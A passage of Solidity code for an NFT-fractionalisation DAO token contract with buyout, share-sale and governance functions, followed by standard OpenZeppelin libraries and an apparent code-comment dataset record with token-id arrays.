factoryContract, address governor_, address timelock_ ) external { require(_factoryContract == address(0), "already initialized"); require(factoryContract != address(0), "factory can not be null"); _owner = owner_; _factoryContract = factoryContract; _governor = governor_; _timelock = timelock_; _raisedNftStruct memory temp_struct; temp_struct.nftaddress = nftAddress_; temp_struct.tokenid = tokenId_; _raisedNftArray.push(temp_struct); _nftCount++; _ownedAlready[address(nftAddress_)][tokenId_] = true; _totalSupply = totalSupply_; _name = name_; _symbol = symbol_; _buyoutPrice = buyoutPrice_; _balances[_owner] = _totalSupply; emit Transfer(address(0), owner_, _totalSupply); } /** * @notice modifier only timelock can call these functions */ modifier onlyTimeLock() { require(msg.sender == _timelock, "ALC:Only Timelock can call"); _; } /** * @notice modifier only if buyoutAddress is not initialized */ modifier stillToBuy() { require(_buyoutAddress == address(0), "ALC:Already bought out"); _; } /** * @dev Destroys `amount` tokens from `account`, reducing * and updating burn tokens for abstraction * * @param amount the amount to be burned */ function _burn(uint256 amount) internal { _totalSupply = _totalSupply.sub(amount); } /** * @dev After a buyout token holders can burn their tokens and get a proportion of the contract balance as a reward */ function burnForETH() external { uint256 balance = balanceOf(msg.sender); _balances[msg.sender] = 0; uint256 contractBalance = address(this).balance; uint256 cashOut = contractBalance.mul(balance).div(_totalSupply); _burn(balance); msg.sender.transfer(cashOut); emit Transfer(msg.sender, address(0), balance); } /** * @notice Lets any user buy shares if there are shares to be sold * * @param amount the amount to be bought */ function buyShares(uint256 amount) external payable { require(_sharesForSale >= amount, "low shares"); require(msg.value == amount.mul(_buyoutPrice).div(_totalSupply), "low value"); _balances[msg.sender] = _balances[msg.sender].add(amount); _sharesForSale = _sharesForSale.sub(amount); emit Transfer(address(0), msg.sender, amount); } /** * @notice view function to get the discounted buyout price * * @param account the account */ function getBuyoutPriceWithDiscount(address account) public view returns (uint256) { uint256 balance = _balances[account]; return _buyoutPrice.mul((_totalSupply.sub(balance)).mul(10**18).div(_totalSupply)).div(10**18); } /** * @notice Lets anyone buyout the whole dao if they send ETH according to the buyout price * all nfts will be transferred to the buyer * also a fee will be distributed 0.5% */ function buyout() external payable stillToBuy { uint256 buyoutPriceWithDiscount = getBuyoutPriceWithDiscount(msg.sender); require(msg.value == buyoutPriceWithDiscount, "buy value not met"); uint256 balance = _balances[msg.sender]; _balances[msg.sender] = 0; _burn(balance); // Take 0.5% fee address payable alchemyRouter = IAlchemyFactory(_factoryContract).getAlchemyRouter(); IAlchemyRouter(alchemyRouter).deposit{value:buyoutPriceWithDiscount / 200}(); // set buyer address _buyoutAddress = msg.sender; emit Transfer(msg.sender, address(0), balance); } /** * @notice transfers specific nfts after the buyout happened * * @param nftids the aray of nft ids */ function buyoutWithdraw(uint[] memory nftids) external { require(msg.sender == _buyoutAddress, "can only be called by the buyer"); _raisedNftStruct[] memory raisedNftArray = _raisedNftArray; for (uint i=0; i < nftids.length; i++) { raisedNftArray[nftids[i]].nftaddress.safeTransferFrom(address(this), msg.sender, raisedNftArray[nftids[i]].tokenid); } } /** * @notice decreases shares for sale on the open market * * @param amount the amount to be burned */ function burnSharesForSale(uint256 amount) onlyTimeLock external { require(_sharesForSale >= amount, "Low shares"); _burn(amount); _sharesForSale = _sharesForSale.sub(amount); emit Transfer(msg.sender, address(0), amount); } /** * @notice increases shares for sale on the open market * * @param amount the amount to be minted */ function mintSharesForSale(uint256 amount) onlyTimeLock external { _totalSupply = _totalSupply.add(amount); _sharesForSale = _sharesForSale.add(amount); emit Transfer(address(0), address(this), amount); } /** * @notice changes the buyout price for the whole dao * * @param amount to set the new price */ function changeBuyoutPrice(uint256 amount) onlyTimeLock external { _buyoutPrice = amount; } /** * @notice allows the dao to set a specific nft on sale or to close the sale * * @param nftarrayid the nftarray id * @param price the buyout price for the specific nft * @param sale bool indicates the sale status */ function setNftSale(uint256 nftarrayid, uint256 price, bool sale) onlyTimeLock external { _raisedNftArray[nftarrayid].forSale = sale; _raisedNftArray[nftarrayid].price = price; } /** * @notice allows anyone to buy a specific nft if it is on sale * takes a fee of 0.5% on sale * @param nftarrayid the nftarray id */ function buySingleNft(uint256 nftarrayid) stillToBuy external payable { _raisedNftStruct memory singleNft = _raisedNftArray[nftarrayid]; require(singleNft.forSale, "Not for sale"); require(msg.value == singleNft.price, "Price too low"); singleNft.nftaddress.safeTransferFrom(address(this), msg.sender, singleNft.tokenid); // Take 0.5% fee address payable alchemyRouter = IAlchemyFactory(_factoryContract).getAlchemyRouter(); IAlchemyRouter(alchemyRouter).deposit{value:singleNft.price / 200}(); _ownedAlready[address(singleNft.nftaddress)][singleNft.tokenid] = false; _nftCount--; for (uint i = nftarrayid; i < _raisedNftArray.length - 1; i++) { _raisedNftArray[i] = _raisedNftArray[i+1]; } _raisedNftArray.pop(); } /** * @notice adds a new nft to the nft array * must be approved an transferred seperately * * @param new_nft the address of the new nft * @param tokenid the if of the nft token */ function addNft(address new_nft, uint256 tokenid) onlyTimeLock public { require(_ownedAlready[new_nft][tokenid] == false, "ALC: Cant add duplicate NFT"); _raisedNftStruct memory temp_struct; temp_struct.nftaddress = IERC721(new_nft); temp_struct.tokenid = tokenid; _raisedNftArray.push(temp_struct); _nftCount++; _ownedAlready[new_nft][tokenid] = true; } /** * @notice transfers an NFT to the DAO contract (called by executeTransaction function) * * @param new_nft the address of the new nft * @param tokenid the if of the nft token */ function transferFromAndAdd(address new_nft, uint256 tokenid) onlyTimeLock public { IERC721(new_nft).transferFrom(IERC721(new_nft).ownerOf(tokenid), address(this), tokenid); addNft(new_nft, tokenid); } /** * @notice returns the nft to the dao owner if allowed by the dao */ function sendNftBackToOwner(uint256 nftarrayid) onlyTimeLock public { _raisedNftStruct memory singleNft = _raisedNftArray[nftarrayid]; singleNft.nftaddress.safeTransferFrom(address(this), _owner, singleNft.tokenid); _nftCount--; _ownedAlready[address(singleNft.nftaddress)][singleNft.tokenid] = false; for (uint i = nftarrayid; i < _raisedNftArray.length - 1; i++) { _raisedNftArray[i] = _raisedNftArray[i+1]; } _raisedNftArray.pop(); } /** * @notice executes any transaction * * @param target the target of the call * @param value the value of the call * @param signature the signature of the function call * @param data the calldata */ function executeTransaction(address target, uint256 value, string memory signature, bytes memory data) onlyTimeLock external payable returns (bytes memory) { bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value:value}(callData); require(success, "ALC:exec reverted"); return returnData; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public pure returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. Uses burn abstraction for balance updates without gas and universally. */ function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address dst, uint256 rawAmount) external override returns (bool) { uint256 amount = rawAmount; _transferTokens(msg.sender, dst, amount); return true; } /** * fallback function for collection funds */ fallback() external payable {} receive() external payable {} /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero ress. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address src, address dst, uint256 rawAmount) external override returns (bool) { address spender = msg.sender; uint256 spenderAllowance = _allowances[src][spender]; uint256 amount = rawAmount; if (spender != src && spenderAllowance != uint256(-1)) { uint256 newAllowance = spenderAllowance.sub(amount, "NFTDAO:amount exceeds"); _allowances[src][spender] = newAllowance; } _transferTokens(src, dst, amount); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal { require(owner != address(0), "ERC20: approve from 0"); require(spender != address(0), "ERC20: approve to 0"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), "ERC20: transfer from 0"); require(recipient != address(0), "ERC20: transfer to 0"); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ALC:getPriorVotes"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint256 delegatorBalance = _balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint256 amount) internal { require(src != address(0), "ALC: cannot transfer 0"); require(dst != address(0), "ALC: cannot transfer 0"); _balances[src] = _balances[src].sub( amount, "ALC:_transferTokens"); _balances[dst] = _balances[dst].add( amount); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub( amount, "ALC:_moveVotes"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal { uint32 blockNumber = safe32(block.number, "ALC:_writeCheck"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(newVotes, blockNumber); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } interface IAlchemyFactory { function getAlchemyRouter() external view returns (address payable); } interface IAlchemyRouter { function deposit() external payable; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
factory contract address
address public _factoryContract;
594,886
[ 1, 6848, 6835, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
